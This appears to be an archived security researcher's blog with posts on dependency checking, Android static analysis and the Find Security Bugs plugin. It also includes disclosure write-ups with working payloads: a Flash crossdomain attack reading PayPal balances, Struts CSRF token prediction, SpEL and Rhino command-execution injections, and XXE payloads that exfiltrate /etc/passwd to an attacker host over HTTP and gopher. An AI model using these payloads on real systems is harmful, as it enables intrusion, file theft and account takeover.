Friday, November 6, 2015

Automate dependencies checking

An application is like an iceberg. During a security code review, the focus will always be on the code written by the development team. It is easy to forget that most of the code running in production will be framework, libraries, the web server and the operating system.

(Credits robynm pixabay)

Keeping an operating system and its web server up to date might be a relatively simple task but, keeping track of all of the dependencies of an applications (framework and libraries) can be much harder. A complex application can easily have hundred of dependencies. Reviewing all the code of the libraries used is beyond possible for most company. On the other hand, making sure that at least all the libraries used don't have known vulnerabilities seems reasonable.

Tools available

I will present in this blog post two tools that can support this task for Java applications.

  1.  OWASP Dependency Check (Java, .NET, Ruby, node.js, ..)
  2. Victims (Python, Java)

Although the tools target the same objective, they used two different approachs.

1. OWASP Dependency Check

Dependency check extract various keywords including the filename, artifactid (if Maven) and META-INF properties. It than search those keywords in the NIST Natial Vulnerability Database feed.

At first, it might sound like an effective solution but in practice this approach is very approximate. A lot of false positive generated by this tool. The NIST feed include tons of applications that are not Java libraries. Application sharing common keyword in their name is really common,
The NIST feed is not a perfect source of information because not all libraries affected are documented in the database. The search will

Bottom line, it can still be use to do some automate research instead of googling each libraries one by one.

Example of report generated from OWASP Dependency Check

2. Victims CVE Project

Victims is taking a white list approach where all Java CVE are extracted from the NIST feed, documented and mapped to their respective Maven artifactId.

Unfortunately, the detection of many vulnerable artifact because of some missing hash. To still benefit from this source of information, I have start building an alternative client for maven that avoid the intermediary step of creating hash for each vulnerable jars. I did a short demonstration of the first release version at JavaOne last week.

Demo of the Maven Security Versions plugin (Click to zoom)

Clarification : The demonstration above use maven-security-versions. The official maven integration is called victims-enforcer.

Report generated from Maven Security Versions

Closing Thoughts

Just like static analysis tools, it is generally better to use more than one dependency checker. Using both tools allow you to have a better coverage.


OWASP Dependency Check : Official Dependency Check page
Victims : Official Victims Github project
RubySec: Ruby advisory database

Tuesday, June 30, 2015

Security Code Review of Android applications

You are developing mobile applications and you have read the OWASP Mobile - Top Ten Mobile Risks. You may be wondering what security tools can help you face the growing complexity of your Android applications. Well, there are plenty! In this article, I will present two free static analysis tools which scan your code directly from your IDE.

Android Lint

What is it?

Android Lint is a static code analyzer provided in the official IDE Android Studio.

What will it find?

The list of checks is quite long, but the number security checks are low. There are still critical checks that justified running this tool regularly.


None! As mention previously, it is included in the official IDE Android Studio. However, if you want to keep only the security related checks, you can use this "security only" profile.


FindBugs + Find Security Bugs plugin

What is it?

FindBugs is a popular static analysis engine which is widely used in the Java community. Find Security Bugs is a plugin for this tool to bring security rules to the analysis.

What will it find?

The main focus of the security plugin FindSecBugs is to mark weaknesses such insecure communicationcryptography missuses and sensible sections of the application.


The installation and configuration of FindBugs can be done with few clicks. If you are still using Eclipse (previously official IDE), an equivalent plugin is also available in the Eclipse Marketplace.


Here is a short demonstration that showcases the FindBugs integration in Android Studio.

(Note : An old version of Find Security Bugs is used)

What is next?

Unfortunately, the client mobile application is only the tip of the iceberg. Your application back-end also requires special attention. The number one risk of the OWASP Top Ten Mobile Risk is Weak Server Side Controls after all.

Another great initiative would be to integrate both tools, Android Lint and FindBugs, in your continuous integration environment.

Upcoming presentation at BlackHat USA 2015

I will be presenting the security plugin for FindBugs at Black Hat arsenal. I will give demonstrations of the integration on IntelliJ and on SonarQube. If you have used the tool already, don't hesitate to come give me your feedback in person.
If you are doing Android development, don't miss QARK which will be presented during the same period.

That's it! If you have ideas for new security rules that would apply to Android, don't hesitate to open a ticket on Github.


OWASP: Source Code Analysis Tools: List of static code analysis tools
NIST: Source Code Security Analyzers: Another great list of tools classified by language.
Android Lint: Official documentation of Lint
Find Security Bugs: Github website for the FindBugs security plugin
Mobile Security Wiki: A well organized list of resources including tools for Android.

Wednesday, April 15, 2015

crossdomain.xml : Beware of Wildcards

This blog entry will describe a wide spread Flash vulnerability that affected many big websites including The description will picture the state of the website and in 2013-2014. The vulnerabilities were completely fixed two weeks ago. Therefore, it is not possible to reproduce this vulnerability as-is.

It all starts with a wildcard...

After navigating through the various settings section of my paypal account, I could not find any upload functionalities. Hosting a file directly on might not be impossible, but it's not the easiest target.

There is an option. Looking at the crossdomain.xml (or clientaccesspolicy.xml). from 2014
    <allow-access-from domain="*"/>
    <allow-access-from domain="*"/>
    <allow-access-from domain="*"/>

This tell us that SWF hosted on any of those domains can make requests to the domain and see the response. In other word, the SWF file will be allowed to do request beyond the same origin basic principle.

Step 1: Finding weak domains

We can find the existing subdomains by using an automate DNS bruteforce tools such as subbrute.

 $ ./

It is also possible to find upload functionalities with some Google-Fu.

  • inbody:attachment
  • forum
  • upload
  • etc...

From the previous enumeration, I identify that the following where having upload functionnality for images or documents.
"Luckily", all three were vulnerable.

Step 2 : Uploading the SWF file

The main objective is being able to serve arbitrary file from a GET request on the targeted domain. The presence of the header "Content-Disposition: attachment .." will make the file benign. Any Content-Type could be present. The following file has all the requirements. It is a file attached to a comment in the Ebay Community Forum.
HTTP/1.1 200 OK
Date: Tue, 22 Jul 2014 04:49:07 GMT
Server: Apache
Set-Cookie: VISITORID=147921315;; Path=/
Last-Modified: Sat, 19 Jul 2014 03:36:27 GMT
Content-Length: 33576
Connection: close
Content-Type: image/jpeg;charset=UTF-8


Malicious SWF

A SWF file has similar capabilities that JavaScript has in a HTML page. The following code snippet does a HTTP request to the Paypal main page, extract the balance and display it.
function getAccountBalanceHttpReq() {
    urlLoader = new URLLoader();
    urlLoader.addEventListener(Event.COMPLETE, onComplete);
    urlLoader.load(new URLRequest(encodeURI(""")));

function onComplete(event:Event):void {
    //Extract balance from the page..
    var balanceRegExp:RegExp = /\$.*USD/;
    var amountFound:String =;
    //Display amount extracted
    this['txtCurrentBalance'].text = amountFound;
    //More exfiltration

I developed the habit of creating custom SWF. For anyone unfamiliar with ActionScript or Flash, I would definitely suggest the use of prebuild SWF such as CrossXHR.

Step 3 : Hosting a malicious page

All we need is embebbing the remote SWF file in an HTML page. It can be done with <embed> or <object> tags but more easily with the swfobject.js library.
<script src="swfobject.js"></script>
var url ="";
swfobject.embedSWF(url, "evilSwf", "700", "400", "10.0.0", "expressInstall.swf", {}, {}, {});

<div id="evilSwf"></div>

That's it! Any logged in user visiting the page would be loading your malicious SWF and actions on their account could be done unless a password is required.

Proof of Concept reading the balance amount

The victim will not be able to notice that HTTP requests are triggered but more interestingly the targeted server would not receive any request different from normal ones. The only information that could be used to confirm an attack is the "Referer" header pointing to the file we uploaded.


Demonstration of the attack described previously. (Fullscreen recommended)

The demonstration shows the most basic attack vector reading account information. The vulnerability also opens the door to submit arbitrary forms including doing money transfer.


Looking at the crossdomain.xml or clientaccesspolicy.xml is a verification that can be done quickly. The attack surface might become bigger than you initially though.

I will be giving a Flash Talk at NorthSec next month on the subject. It will be a short presentation on how to identify variations of this vulnerability.


Tuesday, December 16, 2014

Predicting Struts CSRF Token (CVE-2014-7809)

A week has passed since the official release of Struts 2.3.20. I would like to now explain how CSRF tokens could be "easily" predicted by taking advantage of the vulnerability S2-023.

This article will be all about practical exploitation of a LCG pseudo random generator. Buckle up for code review, some math analysis and tons of hex fun!

True random number generator in action [Image Credit]

Diving in code review

The class 'TokenHelper' is use to generate CSRF token in the web framework Struts 2. The security of those tokens is crucial. It is expected that those would be immune to brute force attempt and to prediction. Take a minute to review the following class and maybe you will also find the vulnerability. (Struts 2.3.17)
import java.math.BigInteger;
import java.util.Map;
import java.util.Random;

public class TokenHelper {

     * The default namespace for storing token session values
    public static final String TOKEN_NAMESPACE = "struts.tokens";

     * The default name to map the token value
    public static final String DEFAULT_TOKEN_NAME = "token";

     * The name of the field which will hold the token name
    public static final String TOKEN_NAME_FIELD = "";
    private static final Logger LOG = LoggerFactory.getLogger(TokenHelper.class);
    private static final Random RANDOM = new Random();


     * Sets a transaction token into the session based on the provided token name.
     * @param tokenName the token name based on which a generated token value is stored into session; for actual session
     *                  store, this name will be prefixed by a namespace.
     * @return the token string
    public static String setToken( String tokenName ) {
        String token = generateGUID();
        setSessionToken(tokenName, token);
        return token;


    public static String generateGUID() {
        return new BigInteger(165, RANDOM).toString(36).toUpperCase();


Got it ? Or giving up ? .. You can now pass to the next section.

Identifying the weak point

In order to be able to analyse the previous code, two classes need to be introduce.

SecureRandom is a random generator that is recognized to be "cryptographically" secure. Its implementation will depend on the system hosting the JVM. With sufficient entropy, the values generated should be unpredictable. It is also important to note that each value generated is not base on the previous value or sequential.


Random is a Linear Congruential Generator (LCG). What does it means? The generator is based on the evolving state of a value that is multiply by a huge number and reduce to its less significant bits (Those operations will be explain later). It is important to understand that the goal of such generator is mainly efficiency and uniform bit distribution.

Let's focus on the generation of the GUID (method generateGUID from the previous sample). (Struts 2.3.17)
private static final Random RANDOM = new Random();

public static String generateGUID() {
    return new BigInteger(165, RANDOM).toString(36).toUpperCase();

The seed and random state

First, at the line 1, the Random class use a implicit seed that is the timestamp in nanoseconds of the time where this class is loaded (System.nanoTime()). This could be predict if the attacker have some insight about the load time of the Random class.

The weakest point is simply the usage of the java.util.Random instead of The random values are generated based on a LCG which is not design to unpredictable. That's it! We have a vulnerability.

Vulnerable in theory, but is it exploitable?

Theory is one thing. Can we realistically predict tokens by collecting multiple tokens (or maybe just one)? To exploit this vulnerability we will have to dig into the implementation of the class Random. What happen when a number is generated...


There are few details we need to know to attack the random generator.

Generator lifecycle

Life cycle of a Linear Congruential Generator (LCG)

1. The seed is multiply with a constant value (mutiplier).
2. An constant value (addend) is added to the previous result.
3. A mask of 48 bits is then applied to the previous result (less significant).
4. A mask of 32 bits is then applied to the previous result (most significant) but will not affect the seed for the next value.

The exact implementation of java.util.Random number generation is:
protected int next(int bits) {
    long oldseed, nextseed;
    AtomicLong seed = this.seed;
    do {
        oldseed = seed.get();
        nextseed = (oldseed * multiplier + addend) & mask;
    } while (!seed.compareAndSet(oldseed, nextseed));
    return (int)(nextseed >>> (48 - bits));

What's next() ?

The previous algorithm describe the generation int (32 bits). What about long (64 bits) and byte array (multiple of 8 bits)? The two types are build upon the generation of one or multiple ints.

Byte order for the various nextX() methods.
Why does this details matter? In the case of Struts, the nextBytes method is called implicitly by the BigInteger class. In order to predict the state of the seed, we will need to reverse the order of the bytes to match the original int values.

java.util.Random usage in Struts (

Now how does Struts interact with java.util.Random? The important calls are as follow.

  -new Random()
  -new BigInteger()

As said previously, the nextBytes() method is used. Nonetheless, a sequence of int is still generated.


To exploit this algorithm, a bridge need to be made between two successive generated values. The only obstacle is the loss of 16 bits information of the seed. It is really easy to retrieve the seed by brute-forcing the missing 16 bits. Once the seed is found, we can generate all the following values. This is made possible because the Random instance is reuse globally (see the static keyword).

Brute force operation

The proof of concept code has some additional details that are not that interesting. If you need to produce a working exploit, take a look at this proof of concept : struts-csrf-cracker.

Execution preview:
== Initial token
== Initial token in hex (easier evaluation)

Guessing part..
== bytes representation (reconstructed byte array)
Seed found: 259752424024079
== following int .. (should match the initial token last part) 
== (prediction) Next token 

== (actual) Next token
== (actual) Next token in hex (easier evaluation)


If you see java.util.Random being used to generate secret value, the code is most likely vulnerable.

You can scan your code and the libraries you are using with Find Security Bugs. It will find vulnerabilities including predictable Pseudo Random Generator.


Struts 2 Advisory S2-023 : Official Struts advisory
Cracking Random Number Generators by James Roper : 3 parts articles series explaining PRNG in Java.
Black-Box Assessment of Pseudorandom Algorithms by Derek Soeder, Christopher Abad and Gabriel Acevedo : Excellent paper presented at BlackHat USA 2013. The tool presented "Prangster" is probably your best bet when source code is not available (Detailed paper).

Monday, November 17, 2014

Remote Code Execution .. by design

In rare situations, web applications are design to accept code as input. In most case, it is design to provide flexibility to the administrator of a system. The idea is to replace a complex interface by a Domain Specific Language. For a developper, it is a way to simply the application. For an attacker or a pentester, it could be the key element to gain access to the operating system.

Fictitious Applications

The attack vectors describe in this blog post are based on two scenarios I came across earlier this year. For each of those scenarios, I will present the engines used and some malicious samples to exploit those.

If you are looking for contextualize scenario, you can look at the follow article (Popping a shell on the Oculus Developer Portal). The attack described, in the previous article, take advantage of an expose eval function on the Oculus Developer Portal.

Spring Expression Language (SpEL)

The Spring Expression Language is the syntax used by spring for configuration and code place in annotations. It support a syntax that is close to Java code but with many limitations.

Usage Example

Spring exressions can be invoked as follow:

ExpressionParser parser = new SpelExpressionParser();

StandardEvaluationContext testContext = new StandardEvaluationContext(TEST_PERSON);
Expression exp = parser.parseExpression(dynamicValue); // name = 'Bob'
String valueExtracted = exp.getValue(testContext, String.class);

Malicious input script

The main limitation when injecting inside a SpEL expression is that the code must be a "oneliner". No assignment are possible. This force us to use a sequence of telescopic methods.

The following will blindly execute a command :

The result of the expression evaluation could be displayed back to the user. If it is the case, the output can be redirected and converted to a String using the Scanner class.
(new java.util.Scanner(
    (T(java.lang.Runtime).getRuntime().exec("uname -a").getInputStream()),"UTF-8"))

To ex-filtrate data there is many options available. Here is one creating an HTTP request with data pass in a GET parameter.

ScriptEngine / Rhino

The ScriptEngine api is available since the release of Java 6. It allow application to interact with script written in language such as JavaScript. The engine used to evaluate JavaScript is by default Rhino.

Usage Examples

The application code using the Rhino engine will look like this :

import org.mozilla.javascript.*;

Context cx = Context.enter();
cx.evaluateString(scope, dynamicCodeHere, "", 1, null);
Or this way using the generic ScriptEngince API..
import javax.script.ScriptEngine;

ScriptEngineManager scriptEngineManager = new ScriptEngineManager();
ScriptEngine scriptEngine = scriptEngineManager.getEngineByExtension("js");

Object result = scriptEngine.eval(dynamiceCodeHere);

Malicious input script

If you manage to control some part or all of the script evaluate, you can interact with the variable place in the context but, you can also interact fully with the JVM (by default). Rhino has many syntax additions to allow to interact with the Java API. For exemple, the following script will execute the command "calc.exe" by creating a instance of ProcessBuilder and starting the process.

new java.lang.ProcessBuilder["(java.lang.String[])"](["calc.exe"]).start()

Sandboxing the Script Evaluation

Of course, not using those api can mitigate the risk instantly. If you are still convince that providing scripting interaction for your remote users is a good idea, you can use sandboxing mechanism to limit the attacks that were presented.

The SpEL evaluation can be configure to allow specific methods, constructors and fields access. It can be done by providing a MethodResolver, ConstructorResolver and PropertyAccessor to the evaluation context. See SpEL documentation for more details. As always, a white list should be build not a black list.

In the case of Rhino, the context can take a ClassShutter that allow or disallow the access to certain classes. If you need to disallow all access to the native API, you can reused the rhino-sandbox project created by cloudbees.


Remote Code with Expression Language Injection : Other examples of malicious script for SpEL Spring Expression Language (SpEL) : Reference to the language itself
Expression Language Injection  by Stefano Di Paola and Arshan Dabirsiaghi : The paper doesn't cover command execution or file system access.
Sandboxing Rhino in Java : Code sample of a proper sandboxing.
Rhino Documentation : Rhino documentation for reference on writing scripts
rhino-sandbox : Github project to disallow all access to native api.

Monday, October 13, 2014

Find Security Bugs: New version and project status

A new version of Find Security Bugs was release last week.

For those who don't know about it, Find Security Bugs is a plugin for the Java static analysis tool FindBugs. This plugin consist of a set rules that focus only on security weakness.

FindSecurityBugs used inside Eclipse IDE

(If you are not a user of the tool, this post will likely not be of great interest.)

What is new in 1.2.1?

Few rules were added and enhanced. The major ones are:
  • Better coverage for the SaxParser api vulnerable to XXE. The default configuration of the SaxParser is still vulnerable in the latest JDK.
  • Detect usage of XMLDecoder which is a parser that is not design to parse XML from external source. For more information, refer to Dinis Cruz article "Using XMLDecoder to execute server-side Java Code..".
  • Better coverage for weak hashing functions. This change consist in the addition of api of the Apache-Commons library.
  • Detection of Static IV when encrypting messages.  This rule will trigger if an instance of IvParameterSpec is construct and the bytes were not generated randomly in the same method. This rule is likely to trigger many alerts that require manual evaluation.
  • Detection of ESAPI Encryptor usage. The latest version of ESAPI is still weak if you are using the default configuration. The description of the bug will guide you with a list of verification.
  • Evaluation of dynamic script with ScriptEngine. You definitely want to use a sandbox in most context.
  • Evaluation of dynamic expression with SpEL (Spring Expression Language). This api is part of Spring core components and should never be expose to an end-user.
I will soon publish an article about the two last rules to present the vulnerabilities and exploitation scenarios.

Thanks to Dave Wichers, the descriptions have received important improvements.You can see the changes on the bugs description page.

Project status and future

Two years after I started this project, I am very pleased to see it being use in a wide range of organisations. At first, it was really just a "weekend project" that aim to automate part of my work when doing code review. I am now finding a variety of reference to the tool in enterprise and academic contexts.

The latest version of the OWASP Top 10 and the OWASP Testing Guide mention it.
"There are other free, open source, code review tools. The most promising is FindBugs, and its new security focused plugin called: FindSecurityBugs, both of which are for Java."
OWASP Top 10 - PDF format, page 18
The SWAMP project (Software Assurance Marketplace) is using FindSecurityBugs to cover the analysis of Java code.
"Currently, the SWAMP offers seven static analysis tools, which are: Findbugs with FindSecurityBugs, Clang Static Analyzer, CPPCheck, GCC, PMD, error-prone, and Checkstyle."
It was use in the code review of the Norwegian Voting System in 2013.
"An early step taken to get better acquainted with the code base, was by running automated tools for static analysis. In particular, FindBugs with the “Find Security Bugs”-plugin, as well as PMD, were used. These are freely available tools that are simple to set up and run, which use heuristic techniques to discover possible or probable code errors. [...] In particular, FindBugs has been quite helpful."
Source code audit of Norwegian electronic voting system, Page 18
Finally, the austrian company Porsche Informatik has create the Sonar plugin last year. The support for the latest version should be integrate soon.


The plugin will continue to grow but it is likely that the number of new rules decrease as I am getting less ideas. There is still room for improvement for many existing rules.


Wednesday, June 25, 2014

Identifying Xml eXternal Entity vulnerability (XXE)

Here is a small writeup on how a XXE was discover on the website The website, as the name suggest, keep track of your trainings (running, cycling, skying, etc.) The vulnerabilities presented were fixed on June 10th 2014.

The website accept the upload of GPX file. The GPX file format is a XML document containing a list of positions with the instant speed, time and elevation.

GPX file

Here is an example of GPS file in the GPX format. The only important aspect is that it is XML based.


Attack potential

When seeing user XML being parse server-side, the first thing that come to mind should be XXE attacks. XXE stands for Xml eXternal Entity. These attacks have gain momentum recently following various publications.

Note that the current article doesn't explain in dept XXE. It focus on tips and methodology to identify the vulnerability and the parser capabilities. The tests presented are those that were effective on the old version of RunKeeper.

Step 1 : Confirmation that entities are interpreted

In our first attempt, we need to confirm that entity are interpreted in there most basic form. We replace value with an inline entity. If it loads properly, then the replacement must have occurs.
<!DOCTYPE foo [<!ENTITY xxe "35.460997739" > ]>


Step 2 : Confirmation that SYSTEM entities are usable

We can now try loading external resources from a host we control. The resources can be hosted on a HTTP server, FTP server or even Samba shares in the case of intranet application.

RunKeeper only look at position, time and other numeric values. The string values from the metadata are not used. Therefore, it is not possible to get a direct response after the upload of a GPX file.

If the destination is a server we control, we would receive a connection if external entities are activated. Assuming a strict firewall restrictions is in place, all common ports should be tested (23, 80, 443, 8080, ...).

<!DOCTYPE foo [<!ENTITY xxe SYSTEM "" > ]>


Right after the upload, our server receive the following request. SYSTEM entities are now confirm. - - [08/Jun/2014:00:36:55 -0400] "GET /ping_me HTTP/1.1" 200 77 "-" "Java/1.6.0_26"

Step 3 : Test for external DTD availability to exfiltrate data

A cool trick was discovered by the researchers Alexey Osipov and Timur Yunusov that allow the construction of URL with data coming from other entities.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE roottag [ 
 <!ENTITY % file SYSTEM "file:///etc/issue">
 <!ENTITY % dtd SYSTEM "">

<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % all "<!ENTITY send SYSTEM ';'>">

Following the upload, we then received the following request: - - [08/Jun/2014:00:51:41 -0400] "GET /content?Debian GNU/Linux 7 \x5Cn \x5Cl HTTP/1.1" 200 251 "-" "Java/1.6.0_26"

In pratice, the previoust technique is not perfect. Any file with XML incompatible characters (&, \n, \x80, etc) would break the URL. The /etc/issue is one of the rare file safe to include.

Step 4 : Test for external DTD with gopher protocol

We still have an option to fetch arbitrary file. A good observer would have notice that the remote JVM version was capture on step 1. The version is Java 1.6 update 26. The gopher protocol was disable on version 1.6 update 37 [Ref].The gopher protocol can be use to open a TCP connection and send arbitrary data.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE roottag [ 
 <!ENTITY % file SYSTEM "file:///etc/passwd">
 <!ENTITY % dtd SYSTEM ""> 

<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % all "<!ENTITY send SYSTEM 'gopher://;'>">

Following the upload of the first file, an incoming connection is open and the file content is received.
$ nc -nlvk 1337
Listening on [] (family 0, port 1337)
Connection from [] port 1337 [tcp/*] accepted (family 2, sport 42321)

Files can be fetch and directory can be list. For example, the entity "file:///" will return the root directory:
$ nc -nlvk 1337
Listening on [] (family 0, port 1337)
Connection from [] port 1337 [tcp/*] accepted (family 2, sport 52827)


Demonstration of the attacks described previously. (Fullscreen recommended)


To resolve this issue two changes needed to be applied. SYSTEM entities were disable for the parsing of GPX files. Also, the Java Virtual Machine was updated to benefit from the previous security updates including the gopher protocol being disable by default.